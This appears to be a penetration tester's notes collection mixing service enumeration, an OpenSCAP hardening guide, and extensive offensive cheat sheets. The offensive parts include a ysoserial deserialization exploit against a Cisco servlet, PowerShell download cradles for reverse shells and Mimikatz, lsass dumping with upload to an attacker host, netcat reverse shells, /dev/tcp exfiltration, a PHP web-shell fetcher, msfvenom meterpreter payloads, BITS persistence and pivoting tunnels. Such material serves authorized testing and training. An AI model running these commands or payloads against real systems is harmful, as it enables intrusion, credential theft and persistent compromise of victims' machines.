`java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_2`

`curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.SecretServiceServlet`

**Reference**: <https://gist.github.com/Frycos/8bf5c125d720b3504b4f28a1126e509e>

## Tools

{% content-ref url="/pages/-MX7vXfBsvwlEZNnZSNC" %}
[(De)serialization](/tools/infrastructure-and-network/de-serialization)
{% endcontent-ref %}


# Active Directory


# Services by port


# Enum

## Nmap

```bash
ports=$(nmap -p- --min-rate=1000 -T4 10.10.10.163 | grep ^[0-9] | cut -d '/' -f
1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.10.163
```


# 5060 - SIP

```
svmap -p5060-5061 x.x.x.x -m INVITE
```

<figure><img src="/files/LPbWtiOvbAu373xwSclL" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/XYOvSIhJngHW6v5BH3jF" alt=""><figcaption></figcaption></figure>

Options:

<figure><img src="/files/HluAgEcHVgt5puFITdl2" alt=""><figcaption></figcaption></figure>

```
svwar -e1000-1999 x.x.x.x -p5060
```

<figure><img src="/files/ENLRMvQByWGFcBp4dzvY" alt=""><figcaption></figcaption></figure>

```
svcrack -u 1020 -d /usr/share/wordlist/rockyou.txt x.x.x.x -vv
```

<figure><img src="/files/QFT9iqnySelM8uu6zb5N" alt=""><figcaption></figcaption></figure>

Other commands

How to check if your device is prone to fingerprinting

```
sipsak -v -s sip:nobody@x.x.x.x
```


# 25 - SMTP

```
perl swaks.perl --ehlo "target_mx" --from "target_from_email" --to "target_email" --header "Subject: Test" --body "hey, let's go party!" --attach "/home...zip" --attach-name "lo.zip" --server "target_mx"
```

{% embed url="<https://jetmore.org/john/code/swaks/files/swaks-20201014.0/swaks>" %}


# 135 - RPC

## RPC  enumeration

```
$ rpcclient 10.10.10.40 -U guest
Enter WORKGROUP\guest's password: 
rpcclient $>

--commands--
enumdomains
querydominfo
```


# 445 - SMB

## SMB enumeration

```
smbmap -H 10.10.10.40 -u 'guest' -p ''
smbclient -L //10.10.10.40/ -U anonymous
```

##


# 11211 - PHPMemCached

**Memcached** is a general-purpose distributed [memory caching](https://en.wikipedia.org/wiki/Memory_caching) system. It is often used to speed up dynamic database-driven websites by caching data and objects in RAM to reduce the number of times an external data source (such as a database or API) must be read.

## Memcached Port

**Port:** 11211/tcp open &#x20;

## Dir list

```
/memcachedadmin/stats.php
/memcachedadmin/Temp/.version
/memcachedadmin/configure.php
/memcachedadmin/index.php?server=127.0.0.1:11211
/memcachedadmin/index.php?server=127.0.0.1:11211&show=slabs
/memcachedadmin/commands.php
```

![](/files/-MZOfv70lRk21s5OIIZu)

![](/files/-MZOg6pNMjsf8I7xitc7)

```
echo "version" | nc -vn -w 1 <IP> 11211      #Get version
echo "stats" | nc -vn -w 1 <IP> 11211        #Get status
echo "stats slabs" | nc -vn -w 1 <IP> 11211  #Get slabs
echo "stats items" | nc -vn -w 1 <IP> 11211  #Get items of slabs with info
echo "stats cachedump <number> 0" | nc -vn -w 1 <IP> 11211  #Get key names (the 0 is for unlimited output size)
echo "get <item_name>" | nc -vn -w 1 <IP> 11211  #Get saved info

#This php will just dump the keys, you need to use "get <item_name> later"
sudo apt-get install php-memcached
php -r '$c = new Memcached(); $c->addServer("localhost", 11211); var_dump( $c->getAllKeys() );'
```

## Using libmemcached-tools

```
sudo apt install libmemcached-tools
memcstat --servers=127.0.0.1 #Get stats
memcdump --servers=127.0.0.1 #Get all items
memccat  --servers=127.0.0.1 <item1> <item2> <item3> #Get info inside the item(s
```

## Automatic scripts

```
nmap -n -sV --script memcached-info -p 11211 <IP>   #Just gather info
msf > use auxiliary/gather/memcached_extractor      #Extracts saved data
msf > use auxiliary/scanner/memcached/memcached_amp #Check is UDP DDoS amplification attack is possible
```

## CVEs

{% embed url="<https://www.cvedetails.com/vulnerability-list/vendor_id-9678/product_id-17294/version_id-79779/Memcachedb-Memcached-1.2.2.html>" %}

Any input is vulnerable to XSS.

![](/files/-MZOhZluk-UYPe8ORzyn)

![](/files/-MZOhNBam_6EFi3EWebD)

## **References**

{% embed url="<https://www.hackingarticles.in/penetration-testing-on-memcached-server/>" %}

{% embed url="<https://hackmag.com/security/a-small-injection-for-memcached/>" %}

{% embed url="<https://www.exploit-db.com/exploits/41455>" %}


# ldap

```
# list PKIs/CAs
cme ldap "domain_controller" -d "domain" -u "user" -p "password" -M adcs

# list subnets referenced in AD-SS
cme ldap "domain_controller" -d "domain" -u "user" -p "password" -M subnets

# machine account quota
cme ldap "domain_controller" -d "domain" -u "user" -p "password" -M maq

# users description
cme ldap "domain_controller" -d "domain" -u "user" -p "password" -M get-desc-users
```

[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) is an Active Directory information dumper via LDAP, outputting information in human-readable HTML files.

```
ldapdomaindump --user 'DOMAIN\USER' --password $PASSWORD --outdir ldapdomaindump $DOMAIN_CONTROLLER
```

<mark style="color:purple;">LDAP anonymous binding is usually disabled but it's worth checking. It could be handy to list the users and test for</mark> [<mark style="color:purple;">ASREProasting</mark>](broken://pages/-MHRwLZU4Bwn5-AJ910X) <mark style="color:purple;">(since this attack needs no authentication).</mark>


# Hardening

Hi guys, this is not a complete list for hardening but compiles a set of things I usually use in my hardening exercises. :smirk\_cat:&#x20;

![](/files/-MYqQzHL-hJYXq3l7C0d)

## Openscap guide

This exercise will cover off the basics of SCAP (Security Content Automation Protocol) and using OpenSCAP to Harden our Linux based OS. We will show you how easy it is to proactively scan and lock down our systems to ensure they are hardened to best practices using the SCAP Security Guide.

In short, SCAP standard consists of these components: XCCDF, OVAL, DataStream, ARF, CPE, CVE, CWE. In this article we will use the OVAL format for assessing our output using XCCDF as well as CPE for identifying the packages installed on the host system. A brief summary of these components are as follows:

**OVAL:** The Open Vulnerability and Assessment Language is declarative language for making logical assertions about the state of endpoint system.

**XCCDF:** The eXtensible Configuration Checklist Description Format is a language to express, organize, and manage security policies. These are the basic building block of security policy.

**CPE:** The Common Platform Enumeration is a structured naming scheme used to identify information technology systems, platforms, and packages. It will be used to identify uniquely identify a “platform” of software, hardware, or application.

Firstly, let’s install openscap, openscap-utils and scap-security-guide CentOS (you can be run on many variants of Linux such as RHEL, Ubuntu, Debian and so on…):

```
sudo yum -y install openscap openscap-utils scap-security-guide
```

Once installed, the SCAP Security Guide will include a set of pre-defined checklist we can make use of. available in the SCAP Security Guide content directory. Let’s list the available XCDF checklists we can take advantage of:

```
$  ls /usr/share/xml/scap/ssg/content/ | grep xccdf

ssg-centos6-xccdf.xml
ssg-centos7-xccdf.xml
ssg-firefox-xccdf.xml
ssg-jre-xccdf.xml
ssg-rhel6-xccdf.xml
ssg-rhel7-xccdf.xml
```

We will scan our system against “ssg-centos7-xccdf.xml”. We can inspect this checklist:

![](/files/-MYqOKAuGS8DaPLMe16F)

As you can see above, we have a set of profiles we can use when assessing our system against within the checklist. For example, if this was a host that needed to be in compliance with PCI-DSS or RHEL7 DISA STIG, we can use these profiles in our assessment and check for compliance.

Now we can run our scan. We will execute the following command:

```
$ sudo oscap xccdf eval --profile standard --results $(hostname)-scap-results-$(date +%Y%m%d).xml --report $(hostname)-scap-report-$(date +%Y%m%d)-after.html --oval-results --fetch-remote-resources --cpe /usr/share/xml/scap/ssg/content/ssg-rhel7-cpe-dictionary.xml /usr/share/xml/scap/ssg/content/ssg-centos7-xccdf.xml
```

Once run, the system will be assessed based on the options above. We defined:

* **“standard” profile**
* **“ssg-centos7-xccdf.xml” checklist**
* **“ssg-rhel7-cpe-dictionary.xml” CPE dictionary which will download the OVAL tests to be run**

The output is a configuration assessment report stored in a HTML file within the local directory by the value “**$(hostname)-scap-report-$(date +%Y%m%d)-after.htm**l”.

We can view this HTML file and assess the output to determine the changes we need to make on our system. It will give us a score and for each issue identified, provide an explanation as well as scripts that can be run to rectify.

![](/files/-MYqOf8nmFw4LQMwUAa3)

![](/files/-MYqOmblNsADmSQADNPP)

![](/files/-MYqOpJoWw4oyjjPW1NX)

### **Checklists**

{% embed url="<https://nvd.nist.gov/ncp/repository>" %}

{% embed url="<https://www.newnettechnologies.com/cis-benchmark.html>" %}

{% embed url="<https://cromwell-intl.com/cybersecurity/openscap.html>" %}

## SCC NIST guide

SCAP Compliance Checker (SCC) version 5.4 is officially released, and for the first time SCC will be available to the general public, not just government employees and contractors.

{% embed url="<https://public.cyber.mil/stigs/scap/>" %}

{% embed url="<https://nvd.nist.gov/ncp/checklist/629/download/7104>" %}

### **Available rules**

{% embed url="<https://nvd.nist.gov/ncp/repository>" %}

{% embed url="<https://public.cyber.mil/stigs/scap/>" %}

### Win10 - profile

{% embed url="<https://nvd.nist.gov/ncp/checklist/629/download/7106>" %}

### Screenshots - how to use SCC

![Main panel.](/files/-M_KmbYdRgGlUwy8paXQ)

![Tailoring a file.](/files/-M_KmoJcPqE1SF7DJdYp)

![Show results.](/files/-M_KnG9e16kwfBVy_CBV)

![Not-compliance report - Windows Firewal.](/files/-M_KnWemKCKmIx4qHVxu)

How to create tailored profiles and import in another instance:

1. Start to edit the target profile.
2. Copy the tailored file from:  **C:\Program Files\SCAP Compliance Checker 5.4\Resources\Content\XCCDF\_Tailoring**
3. Create the dir: **C:\Program Files\SCAP Compliance Checker 5.4\Resources\Content\XCCDF\_Tailoring** on the target instance
4. Import the tailored file
5. Export the options.xml file (**FILE > Save Options as**)
6. Import the options.xml file into the target instance.

![Tailoring a profile.](/files/-M_KuhtImLzXbDgolHpW)

![Tailored file. After that, create the "XCCDF\_Tailoring" dir and copy the target file on the target instance.](/files/-M_KuWstsqNvhFyPvAKh)

![Import/export options file.](/files/-M_KvkxVIOJIUAYsuGwO)

## My own scripts

```
#!/bin/sh
mkdir logs1

rpm -Va > logs1/rpm_va.log
rpm -qa > logs1/rpm_qa.log
ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null | tee logs1/etc_write_anyone.txt
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null | tee logs1/etc_write_others.txt
ls -alh /var/log > tee logs1/var.log > logs1/var.log	
cat /etc/fstab > logs1/fstab.log
find / -perm -1000 -type d 2>/dev/null | tee logs1/stick_bit.log
find / -writable -type d 2>/dev/null | tee logs1/world_writable_folders.txt
find / -perm -o x -type d 2>/dev/null | tee logs1/world_executable_folders.txt
find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print | tee logs1/world_writable_files.log
cat /etc/yum.conf > logs1/yum.conf
ls -l /etc/yum.repos.d/ > logs1/repos.txt
systemctl -a | tee logs1/systemctl_a.log
iptable -S | tee logs1/iptables.log
```

```
#!/bin/bash
mkdir "logs"
uname -a > logs/uname.log
whereis strace > logs/strace.log
whereis ltrace > logs/ltrace.log
cat /etc/passwd > logs/etc_pwd.log
ifconfig -a > logs/ifconfig.log
route -n > logs/route.log
hostnamectl > logs/hostnamectl.log
awk -F: '($2 == "") {print}' > logs/empty_pwd_accounts.log
awk -F: '($3 == "0") {print}' > logs/non_root_accounts_with_suid.log
iptables -L > logs/iptables.log
/etc/sudoers > logs/etc_sudoers.log
```

## WINDOWS SERVER 2012 R2 HARDENING CHECKLIST

![](/files/-MYqM7zrXXjHfds8LS6b)

{% embed url="<https://security.utexas.edu/os-hardening-checklist/windows-r2>" %}

## RED HAT ENTERPRISE LINUX 7 HARDENING CHECKLIST

![](/files/-MYqMHFaodKo77AO20oU)

{% embed url="<https://security.utexas.edu/os-hardening-checklist/linux-7>" %}

## Awesome CheetSheets

{% embed url="<https://github.com/decalage2/awesome-security-hardening>" %}

{% embed url="<https://cheatsheetseries.owasp.org/cheatsheets/C-Based_Toolchain_Hardening_Cheat_Sheet.html>" %}

{% embed url="<https://www.sans.org/score/checklists/linux>" %}

{% embed url="<https://github.com/trimstray/the-practical-linux-hardening-guide/blob/master/README.md>" %}

## Bonus

Why not using LinEnum :sunglasses:&#x20;

{% embed url="<https://github.com/rebootuser/LinEnum>" %}


# Stigs / Compliance & Benchmarks

## Microsoft Security Compliance Toolkit 1.0 <a href="#dlcdetail__pagetitle" id="dlcdetail__pagetitle"></a>

The **Microsoft Security Compliance Toolkit 1.0** is a set of tools provided by Microsoft to help **IT administrators and security professionals configure, manage, and verify security settings** in Windows operating systems and other Microsoft products, based on Microsoft’s **recommended security baselines**.

{% embed url="<https://www.microsoft.com/en-us/download/details.aspx?id=55319>" %}

## **CIS Benchmarks (Center for Internet Security)**

* What it is: Free, community-developed security configuration guidelines for systems like Windows, Linux, macOS, AWS, Azure, Docker, and more.
* Format: PDF guides, scripts (PowerShell, Ansible, etc.), and automated tools.
* Security levels: Typically split into Level 1 (basic security) and Level 2 (advanced/hardened).
* Use case: System hardening and compliance checks.

{% embed url="<https://www.cisecurity.org/cis-benchmarks>" %}

## STIGs (Security Technical Implementation Guides – DISA/STIG)

* What it is: Security configuration standards published by the U.S. Department of Defense (DoD).
* Focus: Very strict hardening — commonly used in military and government environments.
* Coverage: Operating systems, applications, databases, network devices, etc.
* Tools: Often used with the SCAP Compliance Checker (SCC Tool) or OpenSCAP.
* Format: XML, checklist, XCCDF, etc.

{% embed url="<https://public.cyber.mil/stigs/>" %}


# Stuff


# Basic tips/scripts

### Bypass Responder errors

"*/usr/share/responder/./Responder.py:366: DeprecationWarning: **setDaemon()** is deprecated, set the daemon attribute instead*"

```
Use python3.9 version!
:> sudo python3.9 /usr/share/responder/Responder.py -I eth0 
```

### Windows 11 is not listing a bridged adapter for VirtualBox

![](/files/dUwMpwrUyfrJgTXygYgO)

1. Open windows start button.
2. Search for: `network`.
3. Choose: `View network connections` via the control panel.
4. Right click your primary connection (for me it was just Ethernet since I'm on a wired connection).
5. Select: `Properties`.
6. Click: `Install...`.
7. Select: `Service`.
8. Click: `Add...`.
9. Click: `Have Disk...`.
10. Click: `Browse`.
11. Navigate to the associated virtualbox install location for your given drive. For example mine was: `C:\Program Files\Oracle\VirtualBox\drivers\network\netlwf`.
12. Select the file: `VBoxNetLwf.inf` in the above directory.
13. Click: `OK`.
14. Select: `VirtualBox NDIS6 Bridged Networking Driver`.
15. Click: `OK`.

### File compressing with exception

```
zip -r files/temp/images.zip * -x "files/*" "*.jpg" "*.png" "*.gif" "*.jpeg" "*.wmv" "*.pdf" "*.wma" "files/imagenes/look*"
```

### Open PST files - Linux

```
readpst -tea -m Access\ Control.pst
```

### Download everything from a website

```bash
wget --limit-rate=200k --no-clobber --convert-links --random-wait -r -l 50 -p -E -e robots=off -U mozilla http://xxxxxx
```

### Exploiting "runas /savecred"

The following command is used to start a PowerShell reverse shell as **ACCESS\Administrator.**

```bash
runas /user:ACCESS\Administrator /savecred "powershell -c IEX (New-Object
Net.Webclient).downloadstring('http://10.10.14.2/admin.ps1')"
```

![](/files/-MciCLwZKbvBtrehmPQE)

### Extract credentials Windows

The following "one-liner" will identify the available credential files and masterkeys.

```bash
cmd /c " dir /S /AS C:\Users\security\AppData\Local\Microsoft\Vault & dir /S /AS
C:\Users\security\AppData\Local\Microsoft\Credentials & dir /S /AS
C:\Users\security\AppData\Local\Microsoft\Protect & dir /S /AS
C:\Users\security\AppData\Roaming\Microsoft\Vault & dir /S /AS
C:\Users\security\AppData\Roaming\Microsoft\Credentials & dir /S /AS
C:\Users\security\AppData\Roaming\Microsoft\Protect"
```

![](/files/-MciDMYqvOoXkWrG0GLc)


# OpenBSD & NetBSD

## [doas](https://www.freebsd.org/cgi/man.cgi?query=doas\&sektion=1\&manpath=freebsd-release-ports)

Execute commands as another user.

```
doas -u root cat /etc/shadow
```

## fetch (curl)

```
fetch  http://10.11.0.244/exploit.c
<?php system("fetch -o /usr/local/databases/shell.php http://10.11.0.244/shell.php; php /usr/local/databases/shell.php"); ?>
```


# File Transfer

## **Basic commands**

```
python -m SimpleHTTPServer 80
php -S 0.0.0.0:80

powershell.exe -c (new-object System.Net.WebClient).DownloadFile('http://10.10.14.17/nc.exe','c:\temp\nc.exe')
powershell.exe -c (Start-BitsTransfer -Source "http://10.10.14.17/nc.exe -Destination C:\temp\nc.exe")
powershell.exe wget "http://10.10.14.17/nc.exe" -outfile "c:\temp\nc.exe"
certutil.exe -urlcache -split -f "http://10.10.14.17/nc.exe" c:\temp\nc.exe
bitsadmin /transfer job /download /priority high http://10.10.14.17/nc.exe c:\temp\nc.exe
powershell -c "Invoke-WebRequest -Uri http://10.10.15.150/41020.exe -OutFile C:\Users\kostas\Desktop\41020.exe"	
powershell Invoke-WebRequest http://10.10.14.10/nc.exe -OutFile nc.exe
powershell.exe IEX(New-Object System.Net.WebClient).DownloadString('http://ip/script.ps1')
powershell -exec bypass -command "IEX (New-Object System.Net.WebClient).DownloadString('http://$PENTEST_BOX_IP/Invoke-Mimikatz.ps1');Invoke-Mimikatz"
```

### execute ps1 files

```
powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File jaws.ps1
powershell.exe -ExecutionPolicy Bypass -File jaws.ps1
```

### load it into the memory

```
IEX(New-Object Net.WebClient).downloadString('http://10.10.15.189:9999/jaws-enum.ps1')
powershell iex(new-object net.webclient).downloadstring(\"http://10.10.14.14/shell.ps1\")
powershell IEX(New-Object Net.WebClient).downloadstring(\"http://10.10.14.14/shell.ps1\")
```

### ninja1

```
echo $webclient = New-Object System.Net.WebClient >>wget.ps1
echo $url = "http://10.10.15.189:9999/jaws-enum.ps1" >>wget.ps1
echo $file = "jaws.ps1" >>wget.ps1
echo $webclient.DownloadFile($url,$file) >>wget.ps1
```

### SMB

```
python3 /usr/share/doc/python3-impacket/examples/smbserver.py a . -smb2support
net view \\10.10.14.17
copy \\10.10.14.17\a\nc.exe .
copy nc2.exe \\10.10.14.17\a\nc2.exe
```

### SMB with password + lsass dump

```
python3 /usr/share/doc/python3-impacket/examples/smbserver.py a . -smb2support -debug -comment "use it" -username admin -password 123 -ts
C:\>net use s: \\10.201.69.16\a /user:admin 123
S:\>procdump.exe -ma lsass.exe c:\TEMP\a.txt
copy c:\TEMPa.txt.dmp s:
```

### Execute nc via SMB (bypass defenses)

```
\\10.10.14.17\SHARE\nc.exe -nv 10.10.14.17 4444 -e cmd.exe
```

### netcat

```
ncat -lvp 80 > nc2.exe
nc -nv 10.10.14.17 < nc.exe -w 15
```

### copy files from target to kali

```
.\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 608 C:\temp\lsass.dmp full
powershell -nop -w 1 -sta (New-Object System.Net.WebClient).UploadFile(\"http://10.9.4.210:9999/\", \"lsass.dmp\")
powershell -nop -w 1 -sta (New-Object System.Net.WebClient).UploadFile('http://10.92.137.181:8888', 'zzzzzz.txt.dmp')

nc -lvp 9999 > lsasss.dmp
```

### with PHP

```
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```

### HTTP-POST

```
http-post.py
./curl -F 'file=@firefox.exe_190824_231811.dmp' 10.10.15.213:8000/ -v
```

### /dev/tcp

```
cat xxx.zip > /dev/tcp/10.x.x.x.x/9001
nc -lvp 9001 > xxx.zip
```

### fetch (OpenBSD)

```
fetch  http://10.11.0.244/exploit.c
<?php system("fetch -o /usr/local/databases/shell.php http://10.11.0.244/shell.php; php /usr/local/databases/shell.php"); ?>
```

### rdesktop or remmina

```
rdesktop -r disk:tmp=/home/user/Desktop <remote ip address>
```

## BITS

Download file into the C:\Windows folder.

```
> bitsadmin /create download
> bitsadmin /addfile download https://<site>/malware.exe c:\windows\malware.exe
> bitsadmin /resume download
> bitsadmin /complete download

Created job {EA8603EB-7CC2-44EC-B1EE-E9923290C2ED}.
Added https://<site>/malware.exe -> c:\windows\malware.exe to job.
Job resumed.
Job completed.
```

Create persistence.

```
> bitsadmin /create persistence
> bitsadmin /addfile persistence http://127.0.0.1/invalid.exe c:\windows\i.exe
> bitsadmin /SetNotifyCmdLine persistence c:\windows\malware.exe NULL
> bitsadmin /resume persistence
```

![](/files/-MYqkGCp7A_oVAXvDXIH)

{% embed url="<https://www.fireeye.com/blog/threat-research/2021/03/attacker-use-of-windows-background-intelligent-transfer-service.html>" %}

## ​[**updog**](https://github.com/sc0tfree/updog)

Updog is a replacement for Python's SimpleHTTPServer. It allows uploading and downloading via HTTP/S, can set ad hoc SSL certificates and use http basic auth.<br>

![](/files/-MYqoFkHp1TE8iZhV4gh)

or simply:

```
python -m SimpleHTTPServer 8080
```

or HTTPS with upload :sunglasses:&#x20;

{% embed url="<https://github.com/rhmoult/SecurityTools/blob/master/Platform_Independent/Python/httpsWithUpload/src/httpsWithUpload.py>" %}

## References

{% embed url="<https://isroot.nl/2018/07/09/post-exploitation-file-transfers-on-windows-the-manual-way/>" %}

{% embed url="<https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-download-a-file/>" %}

{% embed url="<https://blog.ropnop.com/transferring-files-from-kali-to-windows/>" %}


# Pivoting

## Nmap pivoting

Use nmap standalone binary to scan other machines on the internal network. This is the best option to scan large networks without proxy all the traffic.&#x20;

{% embed url="<https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/nmap>" %}

## Pivoting with [weevely ](https://github.com/epinna/weevely3)via webshell

```
https://github.com/epinna/weevely3

:net_proxy - Run local proxy to pivot HTTP/HTTPS browsing through the target.
:net_scan  - TCP Port scan.
```

## [ngrok](https://ngrok.com/)

```
vim ~/.ngrok2/ngrok.yml

tunnels:
        http1:
                addr: 8080
                proto: http

        tcp1:
                addr: 8181
                proto: tcp

        tcp2:
                addr: 8282
                proto: tcp

./ngrok start -all
```

## Chisel

Chisel is a fast TCP/UDP tunnel, transported over HTTP, secured via SSH. Single executable including both client and server. Written in Go (golang). Chisel is mainly useful for passing through firewalls, though it can also be used to provide a secure endpoint into your network.

{% embed url="<https://github.com/jpillora/chisel>" %}

```
--pivoting remote service--
Kali box:   10.10.14.10 
Target box: 10.10.10.9 

kali:> ./chisel server -p 8000 --host 0.0.0.0 --reverse -v 
target box:> chisel_windows.exe client 10.10.14.10:8000 R:8081:10.10.10.9:81
kali:> curl localhost:8001

target box:> chisel_windows.exe client 10.10.14.10:8000 R:8445:10.10.10.9:445
kali :> nmap -sT -Pn 127.0.0.1 -p 8445 -v

--socks tunnel--
kali:> ./chisel server -p 8000 --reverse -v
target:> chisel_windows.exe client 10.10.14.10:8000 R:8001:127.0.0.1:9001
target:> chisel_windows.exe server -p 9001 --socks5
kali:> ./chisel client localhost:8001 socks

kali:> vim /etc/proxychains
socks5 127.0.0.1 1080

proxychains curl 10.10.10.9:x
```

## &#x20;[ssf](https://github.com/securesocketfunneling/ssf)

Secure Socket Funneling (SSF) is a network tool and toolkit. It provides simple and efficient ways to forward data from multiple sockets (TCP or UDP) through a single secure TLS tunnel to a remote computer.

1\. We need to upload the certifications into the target machine\
2\. Download the windows and Linux binaries from GitHub repository\
3\. Execute the ssfd (server) on the Linux side

```
./ssfd
[2019-09-03T10:34:41-04:00] [info] [config] [tls] CA cert path: <file: ./certs/trusted/ca.crt>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] cert path: <file: ./certs/certificate.crt>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] key path: <file: ./certs/private.key>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] key password: <>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] dh path: <file: ./certs/dh4096.pem>
[2019-09-03T10:34:41-04:00] [info] [config] [tls] cipher suite: <DHE-RSA-AES256-GCM-SHA384>
[2019-09-03T10:34:41-04:00] [info] [config] [http proxy] <None>
[2019-09-03T10:34:41-04:00] [info] [config] [socks proxy] <None>
[2019-09-03T10:34:41-04:00] [info] [config] [circuit] <None>
[2019-09-03T10:34:41-04:00] [info] [ssfd] listening on <*:8011>
[2019-09-03T10:34:41-04:00] [info] [ssfd] running (Ctrl + C to stop)
```

4\. Upload the certificates and ssf client into the target machine (windows)

```
certutil.exe -urlcache -split -f http://10.10.14.10/ssf_windows/ssf.exe ssf.exe
certutil.exe -urlcache -split -f http://10.10.14.10/ssf_windows/certs.zip certs.zip

Download 7zip command line
https://www.7-zip.org/a/7za920.zip

:> 7za E certs.zip

./ssf -g -F 1080 -Y 1111 -L 172.19.0.4:2222:10.10.14.3:2222 -L 172.19.0.4:3333:10.10.14.3:3333 10.10.14.3
```

On target host I will start the client, telling it to connect back to my box. I’ll use the following options:

**-g** - allow gateway ports. This allows client to bind local sockets to address besides localhost.\
&#x20;**-F 1080** - This runs a socks proxy on the server on port 1080.\
&#x20;**-Y 1111** - This opens local port 1111 as a shell on the client.\
&#x20;**-L 172.19.0.4:2222:10.10.14.3:2222 and -L 172.19.0.4:3333:10.10.14.3:3333** - These will open listeners on the target machine that will forwards back to my attacker box. This will come in handy when I want to exploit further machines that can’t talk to my attacker box directly.

```
--socks5--
ssf.exe -g -F 1080 -Y 1111 10.10.14.10

kali:> vim /etc/proxychains
socks5 127.0.0.1 1080

proxychains curl 10.10.10.9:81
```

Reference: <https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html>

## Plink.exe

```
:> service ssh restart
:> netstat -antp | grep 22
:> adduser pp
:> userdel –r pp (to delete the created user)

nc.exe 10.10.14.10 4444 -e cmd.exe
plink.exe -ssh pp@10.10.14.10 -R 3306:localhost:3306
plink.exe -l pp -R 445:127.0.0.1:445 10.10.14.10

--smb--
plink -R 445:localhost:445 -pw pp pp@10.10.14.10 -N
plink.exe -R 8081:localhost:445 pp@10.10.14.10 -N -v
```

Ensure that kali linux is allowing port-forwarding:

```
vim /etc/ssh/sshd_config
GatewayPorts yes

Reference: https://hackso.me/bighead-htb-walkthrough/
```

{% embed url="<https://ironhackers.es/en/cheatsheet/port-forwarding-cheatsheet/>" %}

{% embed url="<https://www.cybrary.it/0p3n/pivot-network-port-forwardingredirection-hands-look/>" %}

{% embed url="<https://hackso.me/bighead-htb-walkthrough/>" %}

## Metasploit tunnel

Create the payload

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.16 LPORT=443 -f exe -o meterpreter.exe
```

Start the listener

```
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.16
set LPORT 443
exploit

--or--
handler -H 0.0.0.0 -P 443 -p windows/meterpreter/reverse_tcp
```

Type "background" to put the section in the 2nd plane

Add the route and session (1)

```
route add 10.10.10.9 255.255.255.0 1
```

&#x20;Verify the route: **route print**

Create the socks4 proxy

```
use auxiliary/server/socks4a
set SRVHOST 127.0.0.1
run
```

Configure proxychains

```
vim /etc/proxychains.conf
Edit the ProxyList at the bottom of the file:
socks4   127.0.0.1   1080
```

Run your commands

```
proxychains nmap -Pn -sT -p445,3389 10.0.0.10
proxychains rdesktop 10.0.0.10
proxychains firefox 10.0.0.10
```

## **Auto-route MSF (double pivot)**

Imagine you have "www" access to a web-server located at the DMZ. With this technique, you can pivot through the infrastructure easily via Internet without exposing ports in your home-router.

```
:> ifconfig
:> run autoroute -s ip/mask
```

![](/files/-MXK8jJAkaMz1vY8JQZN)

```
CTRL+Z

:> search socks4
:> run (1080)
```

![](/files/-MXK8qzrwJ_SToApX-55)

```
search exploit
run
```

## **Double pivoting with proxychains**

```
First, create a dynamic port forwarding through the first network:
ssh -f -N -D 9050 root@10.1.2.1

Edit /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 9050

Use the proxy to create a second dynamic port forward to the second network:
proxychains ssh -f -N -D 10050 root@10.1.2.1 -p 22

Edit again /etc/proxychains.conf and add as default gateway:
socks4 127.0.0.1 10050

You can now use proxychains to pivot to the target network:
proxychains nmap -sTV -n -PN 10.1.2.1 -254
```

## Ligolo-ng : Tunneling like a VPN

{% embed url="<https://github.com/nicocha30/ligolo-ng>" %}

## **Pivoting references**

{% embed url="<https://pentest.blog/explore-hidden-networks-with-double-pivoting/>" %}

{% embed url="<https://arvandy.com/oscp-third-week/>" %}

##


# Active Directory 101

{% embed url="<https://adsecurity.org/>" %}

{% embed url="<https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet>" %}

## Active Directory exploration

{% embed url="<https://www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/pushsubscription-abuse>" %}


# Dumping Active Directory DNS using adidnsdump

Any user can create new DNS records by default, any user can also list the child objects of a DNS zone by default. So we know a records is there, we just can’t query it using LDAP.

![](/files/uYEQpvbarGEvozmMRbpZ)

## Querying records with adidnsdump

With adidnsdump, which you can get [from my GitHub](https://github.com/dirkjanm/adidnsdump), it is possible to enumerate all records in the DNS zone. To get started, first display the zones in the domain where you are currently in with `--print-zones`. This will show which zones are present. Not all zones are interesting, for example forward, cache and stub zones don’t contain all the records for that domain. If you find these zones, it’s better to query the domain to which they actually belong. The output below shows that my test domain has only the default zones:

`user@localhost:~/adidnsdump$ adidnsdump -u icorp\\testuser –print-zones icorp-dc.internal.corp`\
`Password:`\
`[-] Connecting to host…`\
`[-] Binding to host`\
`[+] Bind OK`\
`[-] Found 2 domain DNS zones:`\
`internal.corp`\
`RootDNSServers`\
`[-] Found 2 forest DNS zones:`\
`..TrustAnchors`\
`_msdcs.internal.corp`<br>

If we specify the zone to the tool (or leave it empty for the default zone), we will get a list of all the records. Records which can be listed but not read (so called “hidden” records) are shown but only with a question mark, as it is unknown which type of record is present and where it points to. The records are all saved to a file called `records.csv`.

![listing the DNS records](https://i0.wp.com/dirkjanm.io/assets/img/dns/dump.png?w=800\&ssl=1)

To resolve the unknown records, specify the `-r` flag, which will perform an `A` query for all unknown records (you can easily change this to `AAAA` in the code if you’re in an IPv6 network). Several nodes which were blank before now suddenly have records:

![listing and resolving DNS records](https://i0.wp.com/dirkjanm.io/assets/img/dns/dump_resolve.png?w=800\&ssl=1)

